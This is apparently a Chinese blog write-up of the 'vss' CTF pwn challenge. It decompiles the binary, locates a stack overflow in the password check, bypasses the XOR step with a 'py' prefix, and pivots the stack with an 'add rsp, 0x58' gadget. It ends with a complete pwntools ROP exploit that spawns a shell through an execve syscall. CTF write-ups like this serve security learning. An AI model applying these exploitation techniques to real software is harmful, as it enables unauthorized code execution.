vss

64位静态链接ELF,Partial RELRO,无canary,无PIE

进入程序,发现一个start

void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  void *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  sub_401240(
    (unsigned int)sub_4011B1,
    v4,
    (unsigned int)&retaddr,
    (unsigned int)sub_4018B0,
    (unsigned int)sub_401940,
    a3,
    (__int64)&v5);
}

这个sub_401240就是__libc_start_main,其中的第一个参数就是main函数

查看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[1024]; // [rsp+0h] [rbp-400h] BYREF

  sub_4374E0(10LL);
  sub_4089E0(off_6C4790, 0LL);
  sub_408800("VSS:Very Secure System");
  sub_408800("Password:");
  sub_437EA0(0LL, v4, 1024LL);
  if ( (unsigned int)sub_40108E(v4) )
    sub_408800("Logined");
  else
    sub_408800("Access Deny");
  return 0;
}

查看sub_4374E0

unsigned __int64 __fastcall sub_4374E0(unsigned int a1)
{
  unsigned __int64 result; // rax

  result = sys_alarm(a1);
  if ( result >= 0xFFFFFFFFFFFFF001LL )
  {
    __writefsdword(0xFFFFFFC0, -(int)result);
    result = -1LL;
  }
  return result;
}

这个函数应该就是alarm

查看sub_4089E0

__int64 __fastcall sub_4089E0(int *a1, __int64 a2)
{
  __int64 v2; // rdx
  int v4; // ecx
  int v5; // eax
  unsigned __int64 v7; // r9
  bool v9; // zf
  __int64 v10; // rax
  __int64 v11; // rbp
  __int64 result; // rax
  __int64 v13; // rdx

  v2 = 0x2000LL;
  v4 = *a1;
  if ( (*a1 & 0x8000) == 0 )
  {
    _R8 = *((_QWORD *)a1 + 17);
    v7 = __readfsqword(0x10u);
    if ( v7 == *(_QWORD *)(_R8 + 8) )
    {
LABEL_8:
      ++*(_DWORD *)(_R8 + 4);
      goto LABEL_9;
    }
    _ESI = 1;
    v9 = dword_6C7EFC == 0;
    if ( dword_6C7EFC )
    {
      v5 = *a1 & 0x8000;
      if ( v5 == _InterlockedCompareExchange((volatile signed __int32 *)_R8, 1, v5) )
        goto LABEL_7;
    }
    else
    {
      __asm { cmpxchg [r8], esi }
      if ( v9 )
      {
LABEL_7:
        _R8 = *((_QWORD *)a1 + 17);
        v4 = *a1;
        *(_QWORD *)(_R8 + 8) = v7;
        goto LABEL_8;
      }
    }
    sub_43ADE0(_R8, 1LL, 0x2000LL);
    goto LABEL_7;
  }
LABEL_9:
  v10 = *((_QWORD *)a1 + 27);
  BYTE1(v4) &= 0xFDu;
  v11 = 0LL;
  *a1 = v4;
  if ( a2 )
    v11 = v2;
  (*(void (__fastcall **)(int *, __int64, __int64))(v10 + 88))(a1, a2, v11);
  result = (unsigned int)a1[48];
  if ( !(_DWORD)result )
  {
    result = *((_QWORD *)a1 + 20);
    if ( result )
      result = (*(__int64 (__fastcall **)(int *, __int64, __int64))(*(_QWORD *)(result + 320) + 88LL))(a1, a2, v11);
  }
  if ( (*a1 & 0x8000) == 0 )
  {
    v13 = *((_QWORD *)a1 + 17);
    v9 = (*(_DWORD *)(v13 + 4))-- == 1;
    if ( v9 )
    {
      *(_QWORD *)(v13 + 8) = 0LL;
      if ( dword_6C7EFC )
      {
        if ( !_InterlockedDecrement((volatile signed __int32 *)v13) )
          return result;
        return sub_43AE10(v13);
      }
      v9 = (*(_DWORD *)v13)-- == 1;
      if ( !v9 )
        return sub_43AE10(v13);
    }
  }
  return result;
}

猜测sub_4089E0就是setbuf,off_6C4790应该就是stdout

查看sub_408800

__int64 __fastcall sub_408800(__int64 a1)
{
  __int64 v2; // rax
  _QWORD *v3; // rbx
  __int64 v4; // rbp
  _DWORD *v5; // rdi
  unsigned __int64 v7; // rdx
  bool v9; // zf
  int v10; // eax
  _BYTE *v11; // rax
  unsigned __int64 v12; // rbp
  __int64 v13; // rdx

  v2 = sub_419550();
  v3 = stdout;
  v4 = v2;
  v5 = stdout;
  if ( (*(_DWORD *)stdout & 0x8000) == 0 )
  {
    _R8 = *((_QWORD *)stdout + 17);
    v7 = __readfsqword(0x10u);
    if ( v7 == *(_QWORD *)(_R8 + 8) )
    {
      v5 = stdout;
      goto LABEL_8;
    }
    _ESI = 1;
    v9 = dword_6C7EFC == 0;
    if ( dword_6C7EFC )
    {
      if ( !_InterlockedCompareExchange((volatile signed __int32 *)_R8, 1, 0) )
        goto LABEL_7;
    }
    else
    {
      __asm { cmpxchg [r8], esi }
      if ( v9 )
      {
LABEL_7:
        _R8 = v3[17];
        v5 = stdout;
        *(_QWORD *)(_R8 + 8) = v7;
LABEL_8:
        ++*(_DWORD *)(_R8 + 4);
        goto LABEL_9;
      }
    }
    sub_43ADE0(_R8, 1LL, v7);
    goto LABEL_7;
  }
LABEL_9:
  v10 = v5[48];
  if ( v10 )
  {
    if ( v10 != -1 )
      goto LABEL_24;
  }
  else
  {
    v5[48] = -1;
  }
  if ( v4 != (*(__int64 (__fastcall **)(_DWORD *, __int64, __int64))(*((_QWORD *)v5 + 27) + 56LL))(v5, a1, v4) )
    goto LABEL_24;
  v11 = (_BYTE *)*((_QWORD *)stdout + 5);
  if ( (unsigned __int64)v11 < *((_QWORD *)stdout + 6) )
  {
    *((_QWORD *)stdout + 5) = v11 + 1;
    *v11 = 10;
    goto LABEL_14;
  }
  if ( (unsigned int)sub_40D3F0(stdout, 10LL) == -1 )
  {
LABEL_24:
    LODWORD(v12) = -1;
    goto LABEL_16;
  }
LABEL_14:
  v12 = v4 + 1;
  if ( v12 > 0x7FFFFFFF )
    LODWORD(v12) = 0x7FFFFFFF;
LABEL_16:
  if ( (*(_DWORD *)v3 & 0x8000) == 0 )
  {
    v13 = v3[17];
    v9 = (*(_DWORD *)(v13 + 4))-- == 1;
    if ( v9 )
    {
      *(_QWORD *)(v13 + 8) = 0LL;
      if ( dword_6C7EFC )
      {
        if ( !_InterlockedDecrement((volatile signed __int32 *)v13) )
          return (unsigned int)v12;
        goto LABEL_29;
      }
      v9 = (*(_DWORD *)v13)-- == 1;
      if ( !v9 )
      {
LABEL_29:
        sub_43AE10(v13);
        return (unsigned int)v12;
      }
    }
  }
  return (unsigned int)v12;
}

这个函数应该就是puts

查看sub_437EA0

__int64 sub_437EA0()
{
  __int64 result; // rax

  if ( dword_6C7EFC )
    result = sub_437EBD();
  else
    result = sub_437EA9();
  return result;
}

查看sub_437EBD

__int64 __fastcall sub_437EBD(unsigned int a1, char *a2)
{
  __int64 v2; // rax
  size_t v3; // rdx
  unsigned __int64 v4; // rdx
  __int64 result; // rax

  v2 = sub_43AE30();
  sub_43AE90(v2, a2, sys_read(a1, a2, v3));
  result = v4;
  if ( v4 >= 0xFFFFFFFFFFFFF001LL )
  {
    __writefsdword(0xFFFFFFC0, -(int)v4);
    result = -1LL;
  }
  return result;
}

查看sub_437EA9

unsigned __int64 __fastcall sub_437EA9(unsigned int a1, char *a2, size_t a3)
{
  unsigned __int64 result; // rax

  result = sys_read(a1, a2, a3);
  if ( result >= 0xFFFFFFFFFFFFF001LL )
  {
    __writefsdword(0xFFFFFFC0, -(int)result);
    result = -1LL;
  }
  return result;
}

所以sub_437EA0应该就是read

按照函数逻辑,sub_40108E应该就是一个判断函数,不妨叫做check

重命名后的main函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[1024]; // [rsp+0h] [rbp-400h] BYREF

  alarm(10LL);
  setbuf(stdout, 0LL);
  puts("VSS:Very Secure System");
  puts("Password:");
  read(0LL, v4, 1024LL);
  if ( (unsigned int)check(v4) )
    puts("Logined");
  else
    puts("Access Deny");
  return 0;
}

查看check函数

_BOOL8 __fastcall check(__int64 a1)
{
  int v2[4]; // [rsp+10h] [rbp-40h] BYREF
  __int64 v3[5]; // [rsp+20h] [rbp-30h] BYREF
  int v4; // [rsp+48h] [rbp-8h]
  int v5; // [rsp+4Ch] [rbp-4h]

  v3[0] = 0LL;
  v3[1] = 0LL;
  v3[2] = 0LL;
  v3[3] = 0LL;
  v3[4] = 0LL;
  v2[0] = 0;
  sub_400330(v2, a1, 80LL);
  if ( LOWORD(v2[0]) == 31088 )
    return 1LL;
  v5 = sub_419550(v2);
  for ( dword_6C7A98 = 0; dword_6C7A98 < v5; ++dword_6C7A98 )
    *((_BYTE *)v2 + dword_6C7A98) ^= 0x66u;
  v4 = sub_437E40("pass.enc", 0LL);
  if ( v4 == -1 )
    sub_407700(0xFFFFFFFFLL);
  read();
  return (unsigned int)sub_400360(v2, v3) == 0;
}

查看sub_400330,发现它似乎是个动态解析的函数,所以也是个库函数,按照它的格式和功能来看,猜测是memcpy

这样的话此处就存在一个栈溢出,因为这里的空间是0x40也就是64,拷贝了80,多了16,刚好可以把saved rbp和return addr覆盖掉,不过没有空间继续构造rop链了

不过还好,发现栈空间接下来的部分就是main里的v4,也是我们能够控制的空间

发现存在一个gadget:0x000000000046f205: add rsp, 0x58; ret; 

这样的话只要把栈空间上移0x58,之后的部分又是能控制的,继续构造rop链即可

注意到check的后半部分会对我们的输入进行大量的修改操作,而满足LOWORD(v2[0]) == 31088就可以直接返回,避免对我们传入的数据进行修改

转换一下形式

vss

 

 也就是输入的前两位只要是py就行(注意小端序)

因此构造rop链即可

exp如下:

from pwn import *

io = process(./vss)
add_rsp_0x58 = 0x46f205
pop_rax = 0x46f208
pop_rdi = 0x401823
pop_rsi = 0x401937
pop_rdx = 0x43ae05
syscall = 0x4004b8
mov_vrax_rdx = 0x4485ee
goal_addr = 0x6c5000

payload = (bpy.ljust(72, ba) + p64(add_rsp_0x58)).ljust(0x58, ba)
payload += p64(pop_rax) + p64(goal_addr)
payload += p64(pop_rdx) + b/bin/sh\x00 + p64(mov_vrax_rdx)
payload += p64(pop_rdi) + p64(goal_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(syscall)

io.recvuntil(Password:\n)
io.send(payload)

io.interactive()

 

vss

上一篇:【转】c#.net各种应用程序中获取文件路径的方法


下一篇:AspNetPager分页控件使用方法